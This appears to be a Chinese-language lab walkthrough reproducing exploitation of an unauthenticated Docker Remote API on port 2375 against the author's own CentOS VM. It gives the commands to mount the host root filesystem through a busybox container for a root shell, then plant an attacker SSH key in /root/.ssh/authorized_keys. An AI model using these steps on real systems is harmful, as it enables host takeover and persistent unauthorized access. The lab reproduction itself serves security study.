docker未授权攻击利用复现
环境配置
受害机:CentOS
攻击者:kali
配置docker配置文件,使得测试机存在未授权访问
vim /usr/lib/systemd/system/docker.service
原本[Service] ExecStart
参数
修改为
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
重启docker服务
systemctl daemon-reload
systemctl restart docker
查看docker进程
ps -ef|grep docker
Docker守护进程打开了一个HTTP Socket,才能实现远程通信
在我的CentOS虚拟机上进行测试的时候,需要关闭防火墙才能被访问到
systemctl status firewalld
#查看防火墙运行状态
systemctl stop firewalld
#关闭防火墙
在我们的攻击机上就可以正常访问并执行命令了
利用
创建容器并挂载主机目录
使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。busybox体积小,从仓库拉取的速度也更快,同时命令也齐全,搞起来方便。
docker -H tcp://xx.xx.xx.xx run --rm -it -v /:/mnt busybox chroot /mnt sh
参数含义:
- --rm 容器停止时自动删除该容器
- -privileged 使用该参数,container内的root有真正root权限。否则container内的root只是外部一个普通用户权限。privileged启动的容器,可以看到很多host上的设备,并可以执行mount;允许字docker容器中启动docker容器。
- -v 挂载目录。格式
系统目录:容器目录
- chroot /mnt 更改root目录,系统默认目录结构以 /(root) 开始,使用chroot后,系统目录结构以指定的 /mnt 位置作为 / 位置。最后的sh是我们使用的shell
可以看到直接进入了系统目录
写入攻击者的公钥
在攻击机上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器
查看本机ssh公钥及生成公钥
本机存在id_rsa.pub文件:cat /root/.ssh/id_rsa.pub
本机不存在则生成:执行ssh-keygen
本地不存在.ssh目录
执行ssh localhost
不存在authorized_keys文件,新建并写入(存在追加即可)
重启ssh服务
systemctl restart sshd
能够成功登录